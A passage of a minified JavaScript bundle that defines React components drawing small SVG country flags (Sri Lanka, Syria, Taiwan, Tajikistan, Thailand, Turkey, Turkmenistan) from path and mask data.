1.143S4.837 5.222 4.837 5.222V2.73h6.257V6.36Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#272727",fillRule:"evenodd",d:"m3.65 1.026.457.414-2.12 2.476-.457-.414 2.12-2.476Zm.754.67.458.413-2.044 2.44-.458-.413 2.044-2.44Zm1.209 1.091-.458-.414-2.05 2.46.458.413 2.05-2.459Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#272727",d:"m4.107 1.44.057.049.048-.056-.055-.049-.05.056Zm-.457-.414L3.7.97 3.643.92l-.05.058.057.05Zm-1.663 2.89-.05.055.057.052.05-.058-.057-.05Zm-.457-.414-.057-.049-.048.056.054.049.05-.056Zm3.332-1.393.057.049.047-.056-.054-.048-.05.055Zm-.458-.413.05-.056-.057-.052-.05.06.057.048ZM2.818 4.55l-.05.055.057.052.05-.06-.057-.047Zm-.458-.414-.057-.048-.047.055.054.048.05-.055Zm2.795-1.763.05-.055-.057-.053-.05.06.057.048Zm.458.414.057.048.046-.055-.053-.048-.05.055ZM3.105 4.832l-.057-.048-.046.055.053.049.05-.056Zm.458.414-.05.055.057.053.05-.06-.057-.048Zm.594-3.862L3.7.97l-.1.112.457.413.1-.11Zm-2.113 2.58 2.12-2.475-.114-.098-2.12 2.476.114.098Zm-.565-.406.458.413.1-.11-.457-.415-.1.112ZM3.593.978l-2.12 2.475.114.098 2.12-2.476-.114-.098Zm1.319 1.076-.458-.414-.1.111.457.414.101-.111ZM2.875 4.598l2.044-2.44-.115-.097-2.044 2.44.115.097ZM2.31 4.19l.457.414.1-.111-.457-.414-.1.111Zm2.037-2.543-2.044 2.44.115.096 2.044-2.44-.115-.097Zm.758.781.457.414.101-.111-.457-.414-.101.111ZM3.163 4.88l2.05-2.458-.115-.097-2.05 2.46.115.095Zm.45.31-.457-.414-.1.112.457.413.1-.11Zm1.942-2.45-2.05 2.458.115.096 2.05-2.459-.115-.096Z"}),(0,s.createElement)("path",{fill:"#272727",fillRule:"evenodd",d:"m12.293 1.026-.458.414 2.12 2.476.458-.414-2.12-2.476Zm-.755.67-.457.413 2.044 2.44.457-.413-2.044-2.44Zm-1.209 1.091.458-.414 2.05 2.46-.458.413-2.05-2.459Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#272727",d:"m11.835 1.44-.057.049-.047-.056.054-.049.05.056Zm.457-.414-.05-.056L12.3.92l.05.058-.056.05Zm1.663 2.89.05.055-.057.052-.05-.058.057-.05Zm.458-.414.057-.049.047.056-.054.049-.05-.056ZM11.08 2.109l-.058.049-.046-.056.053-.048.05.055Zm.457-.413-.05-.056.058-.052.05.06-.058.048Zm1.587 2.854.05.055-.058.052-.05-.06.058-.047Zm.457-.414.058-.048.046.055-.053.048-.05-.055Zm-2.795-1.763-.05-.055.058-.053.05.06-.058.048Zm-.458.414-.057.048-.046-.055.053-.048.05.055Zm2.508 2.045.057-.048.046.055-.053.049-.05-.056Zm-.458.414.05.055-.057.053-.05-.06.057-.048Zm-.594-3.862.457-.414.1.112-.457.413-.1-.11Zm2.113 2.58-2.12-2.475.114-.098 2.12 2.476-.114.098Zm.565-.406-.457.413-.101-.11.457-.415.101.112ZM12.35.978l2.12 2.475-.114.098-2.12-2.476.114-.098Zm-1.32 1.076.458-.414.1.111-.457.414-.1-.111Zm2.037 2.544-2.044-2.44.115-.097 2.044 2.44-.115.097Zm.566-.407-.458.414-.1-.111.457-.414.1.111Zm-2.037-2.543 2.044 2.44-.115.096-2.045-2.44.115-.097Zm-.759.781-.457.414-.1-.111.457-.414.1.111ZM12.78 4.88l-2.05-2.458.116-.097 2.05 2.46-.116.095Zm-.45.31.457-.414.101.112-.457.413-.101-.11Zm-1.942-2.45 2.05 2.458-.115.096-2.05-2.459.115-.096Z"}),(0,s.createElement)("path",{fill:"#272727",fillRule:"evenodd",d:"m3.65 11.246.457-.414-2.12-2.476-.457.414 2.12 2.476Zm.754-.67.458-.414-2.044-2.44-.458.414 2.044 2.44Zm1.209-1.091-.458.413-2.05-2.458.458-.414 2.05 2.459Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#272727",d:"m4.107 10.832.057-.049.048.056-.055.049-.05-.056Zm-.457.414.05.056-.057.051-.05-.058.057-.05Zm-1.663-2.89-.05-.055.057-.052.05.058-.057.05Zm-.457.414-.057.049-.048-.056.054-.049.05.056Zm3.332 1.393.057-.049.047.056-.054.048-.05-.056Zm-.458.413.05.056-.057.052-.05-.06.057-.048ZM2.818 7.722l-.05-.055.057-.052.05.06-.057.047Zm-.458.414-.057.048-.047-.055.054-.048.05.055Zm2.795 1.762.05.056-.057.053-.05-.06.057-.049Zm.458-.413.057-.048.046.055-.053.048-.05-.055ZM3.105 7.44l-.057.048-.046-.055.053-.049.05.056Zm.458-.414-.05-.056.057-.052.05.06-.057.048Zm.594 3.862-.457.414-.1-.112.457-.413.1.11Zm-2.113-2.58 2.12 2.475-.114.098-2.12-2.476.114-.098Zm-.565.406.458-.413.1.11-.457.415-.1-.112Zm2.114 2.58L1.473 8.82l.114-.098 2.12 2.476-.114.098Zm1.319-1.076-.458.414-.1-.111.457-.414.101.111ZM2.875 7.674l2.044 2.44-.115.097L2.76 7.77l.115-.097Zm-.565.407.457-.414.1.111-.457.414-.1-.111Zm2.037 2.543-2.044-2.44.115-.096 2.044 2.44-.115.096Zm.758-.781.457-.414.101.111-.457.414-.101-.111ZM3.163 7.392l2.05 2.458-.115.096-2.05-2.458.115-.096Zm.45-.31-.457.413-.1-.11.457-.415.1.112Zm1.942 2.45-2.05-2.458.115-.096 2.05 2.459-.115.096Z"}),(0,s.createElement)("path",{fill:"#272727",fillRule:"evenodd",d:"m12.293 11.246-.458-.414 2.12-2.476.458.414-2.12 2.476Zm-.755-.67-.457-.414 2.044-2.44.457.414-2.044 2.44Zm-1.209-1.091.458.413 2.05-2.458-.458-.414-2.05 2.459Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#272727",d:"m11.835 10.832-.057-.049-.047.056.054.049.05-.056Zm.457.414-.05.056.057.051.05-.058-.056-.05Zm1.663-2.89.05-.055-.057-.052-.05.058.057.05Zm.458.414.057.049.047-.056-.054-.049-.05.056Zm-3.332 1.393-.058-.049-.046.056.053.048.05-.056Zm.457.413-.05.056.058.052.05-.06-.058-.048Zm1.587-2.854.05-.055-.058-.052-.05.06.058.047Zm.457.414.058.048.046-.055-.053-.048-.05.055Zm-2.795 1.762-.05.056.058.053.05-.06-.058-.049Zm-.458-.413-.057-.048-.046.055.053.048.05-.055Zm2.508-2.045.057.048.046-.055-.053-.049-.05.056Zm-.458-.414.05-.056-.057-.052-.05.06.057.048Zm-.594 3.862.457.414.1-.112-.457-.413-.1.11Zm2.113-2.58-2.12 2.475.114.098 2.12-2.476-.114-.098Zm.565.406-.457-.413-.101.11.457.415.101-.112Zm-2.113 2.58 2.12-2.475-.114-.098-2.12 2.476.114.098Zm-1.32-1.076.458.414.1-.111-.457-.414-.1.111Zm2.037-2.544-2.044 2.44.115.097 2.044-2.44-.115-.097Zm.566.407-.458-.414-.1.111.457.414.1-.111Zm-2.037 2.543 2.044-2.44-.115-.096-2.045 2.44.115.096Zm-.759-.781-.457-.414-.1.111.457.414.1-.111Zm1.942-2.451L10.73 9.85l.116.096 2.05-2.458-.116-.096Zm-.45-.31.457.413.101-.11-.457-.415-.101.112Zm-1.942 2.45 2.05-2.458-.115-.096-2.05 2.459.115.096Z"})))),nt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"LK_-_Sri_Lanka_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#LK_-_Sri_Lanka_svg__a)"},(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"M0 0h16v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#1F8A6E",d:"M1 1h3v10H1z"}),(0,s.createElement)("path",{fill:"#F56800",d:"M4 1h3v10H4z"}),(0,s.createElement)("path",{fill:"#B01D00",d:"M7 1h8v10H7z"}),(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"M8.471 3s-.643-.002-.643 1.119v1.643s-.307.054-.307.245c0 .19.065.357.186.357.12 0 .241.558.12.558-.12 0-.24.24-.12.24.029 0 .05-.005.068-.007.017-.004.029-.006.037-.001.016.01.016.046.016.157 0 .217-.12.305-.12.305s-.115-.032-.115.096.114.16.114.16.065.029-.06.09c-.126.06-.126.09-.126.09h.307l.153.28.147-.28h.302s-.152-.098-.17-.118c-.018-.02-.04-.05 0-.085.011-.01.028-.017.046-.025.044-.02.096-.043.096-.112 0-.096-.193-.096-.193-.096s-.118-.213-.081-.305a.534.534 0 0 0 .02-.07c.014-.05.021-.08.085-.08.087 0 .138-.11.027-.24 0 0 .127.138.09.315-.038.178.039.258.08.258s.107-.06.107-.06.343.306.494.306c.151 0 .367-.246.367-.246l.311.175s.227.318.194.537c-.034.22-.163.341-.316.307-.152-.034-.4.036-.42.13a1.353 1.353 0 0 1-.01.051c-.027.107-.066.268.053.228.141-.046.169-.082.169-.082s-.019.082.095.082c.113 0 .146-.082.146-.082s.118.082.2.082c.083 0 .175-.063.175-.063s.061.094.196.063c.134-.03.236-.382.138-.46 0 0 .325-.048.409-.33 0 0-.315-.005-.282-.198.032-.194.198-.318.198-.318s.478-.231.684-.305c.205-.075.547-.15.632-.15.034 0 .059.08.092.19.049.159.116.378.259.498.242.202.077.664.077.664s-.538.054-.538.2c0 .146.009.21.11.21.1 0 .098-.083.098-.083s.06.082.157.082c.096 0 .173-.082.173-.082s.026.082.152.082c.127 0 .126-.082.126-.082s.022.082.134.082c.111 0 .34-.082.34-.082s.036.082.152.082c.115 0 .118-.082.118-.082s.062.082.162.082.16-.082.16-.082.143.082.243.082.064-.149 0-.279a.758.758 0 0 0-.052-.086c-.05-.076-.087-.13-.001-.225.024-.027.052-.053.08-.08.103-.1.207-.202.13-.29a.38.38 0 0 0-.075-.064c-.087-.06-.176-.122-.135-.465a3.35 3.35 0 0 1 .114-.527c.05-.183.096-.35.096-.542 0-.357-.21-.765-.21-.765s.283-.198.283-.601c0-.403-.633-.447-.633-.447s-.629.162-.906.081c-.063-.018-.116-.031-.16-.042-.149-.038-.195-.05-.195-.153 0-.134-.202.114-.202.114s-.159-.063-.05-.195c.107-.132.155-.183.155-.183s-.094-.108-.255-.054c-.16.054-.188.143-.188.143s-.183-.186-.069-.322c.114-.136.258 0 .258 0s.163.085.176-.027c.013-.112 0-.201 0-.201s.41.117.294.3c-.115.183-.042.25-.042.25s.282.018.333-.177a.41.41 0 0 0 .002-.2c.081.038.173.083.147.158-.047.138-.15.313-.15.313s.283-.017.367-.237c.084-.221.053.054.053.054s.108-.004.27.09c.162.093 0-.144 0-.144s.337.417.655.367c.318-.05.3-.313.3-.313s-.075-.13-.233-.13c-.157 0-.067.13-.067.13s.153.087-.09 0c-.07-.026-.176-.107-.307-.209-.32-.249-.793-.616-1.28-.56-.686.08-.925.386-.925.386v-.256s-.116.178-.223.178-.406-.178-.406-.178l-.19.178s-.072-.178-.198-.178c-.127 0-.127.178-.127.178s-.159-.078-.334-.078a.449.449 0 0 1-.18-.047c-.067-.029-.106-.046-.106.047v.053c.004.125.006.203-.176.226-.206.027-.365.027-.365.027s-.124-.15-.22-.15-.207.116-.207.222c0 .107.124.41.207.474.022.017.018.016 0 .007-.05-.023-.207-.095-.207.058 0 .106.026.132.046.151.018.02.03.031.005.102-.01.03-.025.064-.04.1-.058.138-.126.299-.01.299.061 0 .12-.014.161-.024.056-.013.081-.019.045.024-.014.016-.033.037-.053.057-.066.07-.134.14-.016.087a.79.79 0 0 0 .157-.104c.063-.05.107-.084.132-.04.016.027.003.065-.008.096-.018.053-.031.092.101.048a.524.524 0 0 0 .09-.036c0 .008.007.02.028.036.044.032.036.063.03.087-.008.027-.013.044.065.044.074 0 .179-.057.241-.091.06-.033.08-.045-.006.04-.054.053-.133.089-.22.128-.195.088-.433.195-.54.56-.146.493-.08.594-.071.606l-.448-.49s.107-.084.107-.224-.277-.245-.277-.245.01-1.747.09-2.128C8.43 3.252 8.47 3 8.47 3Zm.893 2.294a.015.015 0 0 0-.014.017c.02-.011.02-.017.014-.017Zm3.369-1.41-.006-.002c-.066-.031-.122-.058-.1-.092.03-.049.083.002.106.094Zm.296 3.78s-.212.209-.077.254c.04.014.09.022.136.03.107.016.194.03.114.108-.116.113-.213.265-.213.404s.003.256.04.197c.02-.032.104-.066.194-.102.075-.03.153-.061.205-.095.096-.064.095-.133.093-.258l-.001-.07c0-.17-.49-.467-.49-.467Zm-1.646-2.786c.05-.04.053-.525.053-.525s.173.058.173.134a.232.232 0 0 1-.033.115.961.961 0 0 0-.042.096c-.038.105.066.17.162.23l.022.014c.065.042.084-.048.098-.118.008-.039.014-.071.027-.071.035 0 .298.06.496.16.172.088.342.045.73-.054l.185-.047c.523-.13.592.066.645.219.054.154-.352.366-.645.405-.13.017-.24.011-.343.006a.92.92 0 0 0-.367.03c-.186.067-.77.06-.998.058h-.072c-.105 0-.125-.034-.164-.1a1.114 1.114 0 0 0-.036-.057c-.071-.104.015-.172.07-.172.056 0 .039-.123 0-.17-.037-.047-.01-.114.039-.153Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E8AA00",d:"M6 1h1v10H6z"}),(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"M7.086 1.061v.18c0 .023-.01.053-.02.087-.035.108-.08.252.13.293.278.054.483.175.545.29.04.073.029-.05.016-.193a2.871 2.871 0 0 1-.016-.232c0-.177-.198-.522-.339-.425-.14.097-.316 0-.316 0Zm0 9.693v.18s.176-.097.316 0 .34-.248.34-.425c0-.063.007-.15.015-.231.013-.144.024-.267-.016-.193-.062.114-.267.236-.544.29-.212.04-.166.184-.132.292.011.034.02.064.02.087Zm7.832 0v.18s-.176-.097-.317 0c-.14.097-.339-.248-.339-.425a2.87 2.87 0 0 0-.015-.231c-.013-.144-.025-.267.015-.193.062.114.267.236.545.29.211.04.165.184.131.292a.334.334 0 0 0-.02.087Zm0-9.512v-.18s-.176.096-.317 0c-.14-.098-.339.247-.339.424 0 .064-.008.151-.015.232-.013.144-.025.266.015.193.062-.115.267-.236.545-.29.211-.04.165-.185.131-.293a.334.334 0 0 1-.02-.086Z",clipRule:"evenodd"}))),it=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"SY_-_Syria_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#SY_-_Syria_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",d:"M0 0h16v12H0V0Z"}),(0,s.createElement)("path",{fill:"#409100",d:"m4.5 6.935-.934.565.213-1.102L3 5.573l1.055-.044L4.5 4.5l.446 1.029H6l-.777.87.234 1.101-.956-.565ZM11.5 6.935l-.934.565.213-1.102L10 5.573l1.055-.044L11.5 4.5l.446 1.029H13l-.777.87.234 1.101-.956-.565Z"}),(0,s.createElement)("path",{fill:"#E31D1C",d:"M0 0v4h16V0H0Z"}),(0,s.createElement)("path",{fill:"#272727",d:"M0 8v4h16V8H0Z"}))),ct=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"TW_-_Taiwan_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#TW_-_Taiwan_svg__a)"},(0,s.createElement)("path",{fill:"#EF0000",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"TW_-_Taiwan_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#TW_-_Taiwan_svg__b)"},(0,s.createElement)("path",{fill:"#2E42A5",d:"M0 0v7h9V0H0Z"}),(0,s.createElement)("path",{fill:"#FEFFFF",d:"m4.365 5.405-.741.925-.18-1.171-1.103.43.43-1.104-1.171-.18.924-.74-.924-.741 1.17-.18-.43-1.103 1.105.43L3.624.8l.74.924L5.107.8l.18 1.17 1.103-.43-.43 1.105 1.17.179-.924.74.925.742-1.171.18.43 1.103-1.104-.43-.18 1.17-.74-.924Zm0-.409a1.431 1.431 0 1 0 0-2.862 1.431 1.431 0 0 0 0 2.862ZM5.51 3.565a1.145 1.145 0 1 1-2.29 0 1.145 1.145 0 0 1 2.29 0Z"})))),rt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"TJ_-_Tajikistan_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#TJ_-_Tajikistan_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0h16v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"M0 0v4h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#409100",fillRule:"evenodd",d:"M0 8v4h16V8H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FB0",fillRule:"evenodd",d:"M7.973 7.789c-.207.006-.344-.212-.344-.212l.211-.055c.014-.14.11-.214.11-.214.062.041.13.224.13.224l.182.026s-.083.225-.29.23Zm-1.008.062c-.203.035-.37-.162-.37-.162l.202-.084c-.006-.14.078-.226.078-.226.069.031.162.203.162.203h.183s-.051.234-.255.269Zm-.724.198.093.328c.478-.13 1.033-.194 1.664-.194.632 0 1.187.065 1.665.194l.092-.328c-.51-.138-1.096-.207-1.757-.207-.661 0-1.247.07-1.757.207Zm3.129-.326s-.166.197-.37.162c-.203-.035-.254-.269-.254-.269h.183s.093-.172.161-.203c0 0 .085.087.078.226l.202.084Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FB0",fillRule:"evenodd",d:"M7.98 6.85s-.235.536-.605.577c-.369.042-.556-.305-.556-.305s-.025.36-.463.5c-.439.139-.67-.417-.67-.417s.229.205.583.116c.354-.09.494-.418.494-.418s.262.343.612.171c.351-.171.545-.38.545-.581v-.601s-.09-.156-.247-.156-.201.11-.201.11-.061-.625.503-.663V5.18h.031v.002c.565.038.504.663.504.663s-.044-.11-.201-.11c-.157 0-.248.156-.248.156v.6c0 .202.194.411.545.582.35.172.613-.171.613-.171s.14.329.494.418a.663.663 0 0 0 .582-.116s-.23.556-.67.417c-.438-.14-.462-.5-.462-.5s-.188.347-.557.305c-.37-.041-.604-.578-.604-.578l-.011-.708-.012.708Zm-.006-1.5c-.26 0-.313.221-.313.221.23 0 .313.1.313.1s.17-.1.34-.1c0 0-.08-.22-.34-.22Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FB0",d:"m5.95 6.5-.996.085c-.073-.852.278-1.658 1.014-2.396 1.084-1.087 3.279-.98 4.213.01.534.566.807 1.35.833 2.33l-1 .026c-.02-.75-.21-1.3-.56-1.67-.558-.591-2.104-.665-2.778.01-.542.543-.771 1.07-.726 1.604Z"}))),mt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"TH_-_Thailand_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#TH_-_Thailand_svg__a)"},(0,s.createElement)("path",{fill:"#F50101",fillRule:"evenodd",d:"M0 8h16v4H0V8ZM0 0h16v3H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#3D58DB",stroke:"#fff",strokeWidth:1.5,d:"M0 3.25h-.75v5.5h17.5v-5.5H0Z"}))),dt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"TR_-_Turkey_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#TR_-_Turkey_svg__a)"},(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"TR_-_Turkey_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#TR_-_Turkey_svg__b)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M8.013 8.057c-1.071-.264-1.91-1.16-1.9-2.474.01-1.23.754-2.269 1.93-2.55 1.178-.282 2.214.316 2.214.316-.325-.768-1.455-1.308-2.382-1.306-1.725.003-3.563 1.401-3.579 3.54-.016 2.218 1.969 3.48 3.715 3.478 1.4-.003 2.063-.96 2.2-1.368 0 0-1.128.628-2.198.364Zm2.439-2.894-1.067.392 1.204.425-.021 1.268.793-.951 1.31.095-1.038-.893.682-.951-1.11.373-.793-.882.04 1.124Z",clipRule:"evenodd"})))),ot=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"TM_-_Turkmenistan_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#TM_-_Turkmenistan_svg__a)"},(0,s.createElement)("path",{fill:"#29C470",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"TM_-_Turkmenistan_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#TM_-_Turkmenistan_svg__b)"},(0,s.createElement)("path",{fill:"#C51918",d:"M1-.161h5v13.162H1z"}),(0,s.createElement)("mask",{id:"TM_-_Turkmenistan_svg__c",width:5,height:14,x:1,y:-1,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M1-.161h5v13.162H1z"})),(0,s.createElement)("g",{mask:"url(#TM_-_Turkmenistan_svg__c)"},(0,s.createElement)("path",{fill:"#E8AA00",fillRule:"evenodd",d:"m1.298.453-.273.35L1 .78l.265-.34V.364L1.298.27l-.02-.033-.155.157.3-.47v.16l.059.053.138-.241-.139-.233-.1.077.04.081-.027.02-.226-.378.144.099.025-.037-.138-.14.061-.068-.2-.293L1.083-1l.22.32-.058.062.135.137-.062.09-.041-.028.078.132.133-.102.169.283-.17.296L1.39.102V.038L1.291.19l.042.074-.035.109v.079Zm-.273 2.862.273-.35v-.08l.035-.109-.042-.073.099-.154v.064l.098.089.17-.296-.17-.284-.132.102-.078-.132.04.029.063-.09-.135-.137.057-.063-.219-.32-.026.023.201.294-.06.067.137.14-.025.037-.144-.098.226.377.028-.02-.04-.08.1-.077.138.232-.138.241-.058-.052v-.16l-.301.469.156-.156.019.033-.031.095-.001.006v.068L1 3.29l.025.025Zm.273 1.94-.273.35L1 5.581l.265-.34V5.165l.032-.095-.02-.033-.155.156.3-.47v.161l.059.052.138-.241-.139-.233-.1.077.04.082-.027.02-.226-.378.144.098.025-.037-.138-.14.061-.067-.2-.294.025-.023.22.32-.058.063.135.137-.062.09-.041-.029.078.132.133-.102.169.283-.17.297-.098-.09V4.84l-.099.154.042.073-.035.11v.078Zm-.273 2.677.273-.351V7.5l.035-.108-.042-.073.099-.154v.064l.098.088.17-.296-.17-.283-.132.102-.078-.132.04.028.063-.09-.135-.136.057-.063-.219-.32-.026.023.201.294-.06.067.137.14-.025.037-.144-.099.226.378.028-.02-.04-.08.1-.078.138.233-.138.241-.058-.052v-.16l-.301.469.156-.157.019.033-.031.095-.001.007v.068L1 7.907l.025.025Zm0 2.068.273-.35v-.08l.035-.109-.042-.073.099-.154v.064l.098.089.17-.297-.17-.283-.132.102-.078-.132.04.029.063-.09-.135-.137.057-.063-.219-.32-.026.023.201.294-.06.067.137.14-.025.037-.144-.098.226.377.028-.02-.04-.08.1-.077.138.232-.138.241-.058-.052v-.16l-.301.469.156-.156.019.033-.031.095-.001.006v.068L1 9.975l.025.025Zm4.95 0-.273-.35v-.08l-.035-.109.042-.073-.099-.154v.064l-.098.089-.17-.297.17-.283.132.102.078-.132-.04.029-.063-.09.135-.137-.057-.063.219-.32.026.023-.201.294.06.067-.137.14.025.037.144-.098-.226.377-.028-.02.04-.08-.1-.077-.138.232.138.241.058-.052v-.16l.301.469-.156-.156-.019.033.031.095.001.006v.068l.265.34-.025.025Zm-.273-2.42.273.352L6 7.907l-.265-.34V7.492l-.032-.095.02-.033.155.157-.3-.47v.16l-.059.053-.138-.241.139-.233.1.077-.04.082.027.019.226-.378-.144.099-.025-.037.138-.14-.061-.067.2-.294-.025-.023-.22.32.058.063-.135.137.062.09.041-.029-.078.132-.133-.102-.169.283.17.296.098-.088v-.064l.099.154-.042.073.035.109v.079Zm.273-1.975-.273-.35v-.08l-.035-.109.042-.073-.099-.154v.064l-.098.089-.17-.297.17-.283.132.102.078-.132-.04.029-.063-.09.135-.137-.057-.063.219-.32.026.023-.201.294.06.067-.137.14.025.037.144-.098-.226.377-.028-.02.04-.08-.1-.078-.138.233.138.241.058-.052v-.16l.301.469-.156-.156-.019.033.031.095.001.006v.068L6 5.58l-.025.025Zm-.273-2.64.273.35L6 3.291l-.265-.34V2.875l-.032-.095.02-.033.155.156-.3-.469v.16l-.059.052-.138-.241.139-.232.1.076-.04.082.027.02.226-.378-.144.098-.025-.037.138-.14-.061-.067.2-.294-.025-.023-.22.32.058.063-.135.137.062.09.041-.029-.078.132-.133-.102-.169.284.17.296.098-.089v-.064l.099.154-.042.073.035.11v.078ZM5.975.803 5.702.453v-.08L5.667.266 5.709.19 5.61.038v.064L5.512.19l-.17-.296.17-.283.132.102.078-.132-.04.028-.063-.09.135-.137-.057-.062.219-.32.026.023-.201.293.06.068-.137.14.025.037.144-.099-.226.378-.028-.02.04-.081-.1-.077-.138.233.138.241.058-.052v-.16l.301.469-.156-.157-.019.033.031.095.001.007v.068L6 .779l-.025.025Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#389F5D",fillRule:"evenodd",d:"M3.653 7.282h.777v.183h.177v.145h.212v.474h-.212v.146H4.43v.146h-.756l-.21.186-.21-.186h-.7V8.23h-.177v-.146H2.2V7.61h.177v-.145h.177v-.183h.722l.189-.167.188.167Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E8AA00",d:"M4.43 7.282h.075v-.075H4.43v.075Zm-.777 0-.05.056.022.02h.028v-.076Zm.777.183h-.075v.075h.075v-.075Zm.177 0h.075V7.39h-.075v.075Zm0 .145h-.075v.075h.075V7.61Zm.212 0h.075v-.075H4.82v.075Zm0 .474v.075h.075v-.075H4.82Zm-.212 0V8.01h-.075v.075h.075Zm0 .146v.075h.075V8.23h-.075Zm-.177 0v-.075h-.075v.075h.075Zm0 .146v.075h.075v-.075H4.43Zm-.756 0v-.075h-.028l-.022.019.05.056Zm-.21.186-.049.056.05.044.05-.044-.05-.056Zm-.21-.186.05-.056-.02-.019h-.03v.075Zm-.7 0h-.075v.075h.075v-.075Zm0-.146h.075v-.075h-.075v.075Zm-.177 0h-.075v.075h.075V8.23Zm0-.146h.075V8.01h-.075v.075Zm-.177 0h-.075v.075H2.2v-.075Zm0-.474v-.075h-.075v.075H2.2Zm.177 0v.075h.075V7.61h-.075Zm0-.145V7.39h-.075v.075h.075Zm.177 0v.075h.075v-.075h-.075Zm0-.183v-.075h-.075v.075h.075Zm.722 